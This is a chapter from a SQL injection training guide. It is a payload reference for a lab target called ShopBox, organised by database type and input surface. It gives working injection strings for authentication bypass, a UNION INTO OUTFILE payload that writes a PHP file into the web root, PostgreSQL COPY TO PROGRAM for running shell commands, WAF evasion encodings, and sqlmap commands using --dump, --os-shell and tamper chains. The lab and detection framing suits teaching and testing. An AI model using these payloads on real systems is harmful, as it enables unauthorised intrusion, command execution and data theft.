SQL Injection: Anatomy, Detection, and Defense — A Hands-On Security Practitioner's Guide
Chapter 2 of 10 · updated Jul 03, 2026
The Attacker's Toolkit: SQL Injection Payload Patterns and Tampering Reference
The Attacker's Toolkit: SQL Injection Payload Patterns and Tampering Reference
This is the page you keep open in a second terminal while working through the ShopBox lab on 192.0.2.10. Everything here assumes you have already read Page 1 and understand how attacker-controlled input merges into a SQL query string. I have organized by target database and injection type, not alphabetically, because that is how you actually hunt: "What is running on 192.0.2.20 versus 192.0.2.30, and what surface am I hitting?"
Universal Patterns: The Foundation
These work against any SQL backend when you do not yet know what is under the hood. Test these first on ShopBox login, search, and order history to fingerprint behavior.
| Payload | Target Surface | Expected Response / Why It Works |
|---|---|---|
' | Login username, search box | Error or altered page — single quote terminates the string literal, breaking query syntax |
'-- | Any string parameter | Comment truncates remainder of query; often bypasses password check in WHERE user='input' |
' OR '1'='1 | Login forms | Always-true condition returns all rows, potential authentication bypass |
1 OR 1=1 | Numeric parameters (order ID in history) | Same logic without quotes — order history surface often numeric |
' AND 1=1-- | Boolean probing | Page loads normally; confirms injection point, distinguishes from 1=2 |
' AND 1=2-- | Boolean probing | Page differs (error, empty, different content) — proves conditional evaluation |
Why this matters: Boolean logic injection is how you manually confirm a vulnerability before touching sqlmap. If
1=1and1=2produce different responses, the database is evaluating your input as code. On ShopBox search, I have seen1=2return zero products while1=1returns the full catalog — that difference in response size is your signal.
MySQL / MariaDB (192.0.2.20): Version-Specific Weapons
ShopBox MySQL variant responds to patterns that PostgreSQL ignores entirely. Know your target.
| Payload | Purpose | Target Surface |
|---|---|---|
/*!50000 SELECT */ | Conditional comment — executes only on MySQL/MariaDB 5.1.0+ | Any injection point; use to fingerprint version |
/*!50100 AND 1=1*/ | Hide boolean logic inside comment syntax that MySQL still executes | Search, login — evades naive string filters |
0x414141 | HEX-encoded string literal (0x41 = 'A') | Search boxes where quotes are stripped |
' UNION SELECT 0x3c3f70687020706870696e666f28293b203f3e INTO OUTFILE '/var/www/shell.php'-- | Write webshell if secure_file_priv is misconfigured | Rare on modern installs; check SHOW VARIABLES LIKE 'secure_file_priv' first |
⚠️ Authorized, defensive use only.
In plain terms: /*!50000 ... */ looks like a comment to the human eye and to some filters, but MySQL parses and executes it if the version matches. I have seen WAFs (Web Application Firewalls, filters that inspect HTTP requests) pass these through while blocking naked UNION statements. The version number is a minimum threshold — /*!50100 runs on 5.1.0 and anything newer.
MariaDB has its own executable comment format to hide code from MySQL entirely. If your fingerprinting shows MariaDB specifically, check the latest release documentation for current syntax; this space changes between releases.
PostgreSQL (192.0.2.30): The Heavier Arsenal
PostgreSQL's feature set gives attackers more direct OS interaction. ShopBox PostgreSQL variant demonstrates these for defensive correlation.
| Payload | Purpose | Target Surface |
|---|---|---|
$$ SELECT 1 $$ | Dollar-quoted string — bypasses quote escaping requirements | Any string parameter; alternative to single quotes |
'; COPY (SELECT '') TO PROGRAM 'id';-- | Execute shell command via COPY, read stdout into table | Requires specific permissions; often fails but logs attempt |
'; SELECT pg_sleep(5);-- | Time-based confirmation — delays response 5 seconds | Any injection point; confirms execution when no error output |
'; SELECT * FROM pg_stat_progress_copy;-- | Monitor COPY operations in progress | Information gathering; see if someone else is exploiting |
⚠️ Authorized, defensive use only.
In plain terms: $$ is PostgreSQL's way of saying "this is a string, do not treat internal quotes specially." It is cleaner for nested quotes and confuses simple filters. COPY ... FROM PROGRAM is the big one — it runs a shell command and pipes the output into a table. The source confirms this executes via the shell and that arguments from untrusted sources need careful stripping. On ShopBox, I use this only to generate log artifacts for Page 5's detection work; the pg_stat_progress_copy view lets you watch it happen in real time.
COPY TO with a SELECT query copies results out — less dangerous than FROM PROGRAM but still data exfiltration. Check your logs for unexpected COPY statements; they are rare in normal application traffic.
WAF Evasion: When Filters Interfere
Modern ShopBox deployments (and real applications) sit behind filters. These techniques stress your defensive rules before an attacker does.
| Technique | Example | What It Defeats |
|---|---|---|
| Case variation | UnIoN SeLeCt instead of UNION SELECT | Case-sensitive keyword matching |
| Whitespace alternatives | /**/, +, %0b, %0c between tokens | Filters that split on literal space characters |
| URL encoding | %27 for ', %20 for space | First-layer URL decode before SQL parsing |
| Double URL encoding | %2527 (becomes %27 after first decode) | Decoders that run once, not recursively |
| Unicode normalization | %u0027, %c0%a7 | Non-standard decode paths in middleware |
In plain terms: WAF evasion is an arms race of representation. Your filter sees %2527 and passes it; the application decodes twice and sees '. I always test encoding chains against ShopBox with Burp's "URL-encode as you type" feature, then watch whether 192.0.2.10 or the WAF in front of it does the decoding. The sqlmap --tamper scripts automate this — see below — but manual testing teaches you what the automation is actually doing.
sqlmap: Essential Flags for ShopBox Assessment
These are the flags I actually use against 192.0.2.10 and 192.0.2.20/192.0.2.30. Check the latest sqlmap release for current behavior; flags evolve.
# Basic discovery against ShopBox login form
sqlmap -u "http://192.0.2.10/login.php" --forms --batch --random-agent # Aggressive enumeration with tamper scripts
sqlmap -u "http://192.0.2.10/search.php?term=test" \ --level=5 --risk=3 \ --tamper=space2comment,between,charencode \ --threads=5 \ --proxy=http://127.0.0.1:8080
| Flag | Purpose | When to Use |
|---|---|---|
--level=5 | Maximum test depth — more payloads, more boundaries | Lab only; slower but catches edge cases |
--risk=3 | Maximum risk — includes time-based and heavy queries | Lab only; can DoS (Denial of Service, making the service unavailable) weak targets |
--technique=BEUSTQ | Limit to specific techniques: Boolean, Error, Union, Stacked, Time, Query | After fingerprinting; speed up known vectors |
--tamper=TAMPER | Apply payload obfuscation scripts; comma-separated for chains | Against filtered inputs; verify what each script does |
--dump | Extract table contents to local CSV | Post-confirmation; data exfiltration simulation |
--os-shell | Attempt interactive operating system shell | Where supported (MySQL with file write, PostgreSQL COPY PROGRAM) |
--batch | Non-interactive — accept defaults | Automation, CI pipelines |
--crawl=1 | Follow links one level deep | Discovering injection points in linked pages |
--prefix="')" --suffix="-- " | Prepend/append fixed strings to payloads | When you know the surrounding query structure from manual analysis |
Why this matters:
--leveland--riskare not just "more aggressive" sliders. At level 1-2, sqlmap gives up on boundaries that look clean; at 5, it tests every parameter with boundary variants I would never type manually. Risk 3 includespg_sleep-style time delays that can hang a connection pool. I never run risk 3 against production, but against ShopBox it is essential for complete coverage. The--techniqueflag — check current release for exact syntax — lets you focus: if you already confirmed boolean behavior manually, force-technique=Band skip error-based probes that generate noise in your logs.
Tamper scripts are where the real WAF evasion lives. sqlmap itself does minimal obfuscation — mostly CHAR() conversion of quoted strings. The tamper scripts add encoding layers, comment insertion, case randomization. Since there is no built-in --list-tampers flag (proposed but not implemented last I checked), I keep a local inventory: space2comment replaces spaces with /**/, between replaces > with NOT BETWEEN 0 AND, charencode URL-encodes characters. Chain order matters: charencode,space2comment produces different output than space2comment,charencode. Test your chains against ShopBox and watch the proxy history.
Quick Reference: Surface-to-Payload Mapping for ShopBox
| ShopBox Surface | Likely Parameter Type | Start With | Escalation |
|---|---|---|---|
Login (/login.php) | String (username) | Quote termination, ' OR '1'='1 | Boolean UNION probe |
Search (/search.php?term=) | String | Quote termination, comment truncation | Stacked queries if supported |
Order History (/orders.php?id=) | Numeric | 1 OR 1=1, 1 AND 1=2 | PostgreSQL: COPY TO PROGRAM for OS interaction |
Keep this page open. When you move to Page 3's manual exploitation, cross-reference: "Search box on 192.0.2.10, MySQL backend — what did Samuel actually use?" The answer is in the first table, second row, and the WAF evasion section if the lab suddenly throws a filter in your way.